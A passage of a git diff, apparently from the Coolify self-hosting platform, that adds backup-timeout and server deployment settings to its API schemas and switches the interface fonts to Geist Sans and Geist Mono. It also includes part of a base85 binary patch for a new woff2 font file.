"Maximum number of queued deployments." + }, + "server_disk_usage_notification_threshold": { + "type": "integer", + "description": "Server disk usage notification threshold (%)." + }, + "server_disk_usage_check_frequency": { + "type": "string", + "description": "Cron expression for disk usage check frequency." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 157cd9f69..5bf6059af 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2734,6 +2734,10 @@ paths: database_backup_retention_max_storage_s3: type: integer description: 'Max storage (MB) for S3 backups' + timeout: + type: integer + description: 'Backup job timeout in seconds (min: 60, max: 36000)' + default: 3600 type: object responses: '201': @@ -3125,6 +3129,10 @@ paths: database_backup_retention_max_storage_s3: type: integer description: 'Max storage of the backup in S3' + timeout: + type: integer + description: 'Backup job timeout in seconds (min: 60, max: 36000)' + default: 3600 type: object responses: '200': @@ -6669,6 +6677,21 @@ paths: type: string enum: [traefik, caddy, none] description: 'The proxy type.' + concurrent_builds: + type: integer + description: 'Number of concurrent builds.' + dynamic_timeout: + type: integer + description: 'Deployment timeout in seconds.' + deployment_queue_limit: + type: integer + description: 'Maximum number of queued deployments.' + server_disk_usage_notification_threshold: + type: integer + description: 'Server disk usage notification threshold (%).' + server_disk_usage_check_frequency: + type: string + description: 'Cron expression for disk usage check frequency.' type: object responses: '201': diff --git a/resources/css/app.css b/resources/css/app.css index 3cfa03dae..2c30baf64 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -14,7 +14,9 @@ @custom-variant dark (&:where(.dark, .dark *)); @theme { - --font-sans: Inter, sans-serif; + --font-sans: 'Geist Sans', Inter, sans-serif; + --font-geist-sans: 'Geist Sans', Inter, sans-serif; + --font-logs: 'Geist Mono', 'SFMono-Regular', Consolas, 'Liberation Mono', Menlo, monospace; --color-base: #101010; --color-warning: #fcd452; @@ -96,7 +98,7 @@ body { } body { - @apply min-h-screen text-sm antialiased scrollbar overflow-x-hidden; + @apply min-h-screen text-sm font-sans antialiased scrollbar overflow-x-hidden; } .coolify-monaco-editor { diff --git a/resources/css/fonts.css b/resources/css/fonts.css index c8c4448eb..e5c6a694d 100644 --- a/resources/css/fonts.css +++ b/resources/css/fonts.css @@ -70,3 +70,18 @@ @font-face { src: url('../fonts/inter-v13-cyrillic_cyrillic-ext_greek_greek-ext_latin_latin-ext_vietnamese-regular.woff2') format('woff2'); } +@font-face { + font-display: swap; + font-family: 'Geist Mono'; + font-style: normal; + font-weight: 100 900; + src: url('../fonts/geist-mono-variable.woff2') format('woff2'); +} + +@font-face { + font-display: swap; + font-family: 'Geist Sans'; + font-style: normal; + font-weight: 100 900; + src: url('../fonts/geist-sans-variable.woff2') format('woff2'); +} diff --git a/resources/fonts/geist-mono-variable.woff2 b/resources/fonts/geist-mono-variable.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..c8a7d84012d3381af28701148c8a42209378e2d9 GIT binary patch literal 71136 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 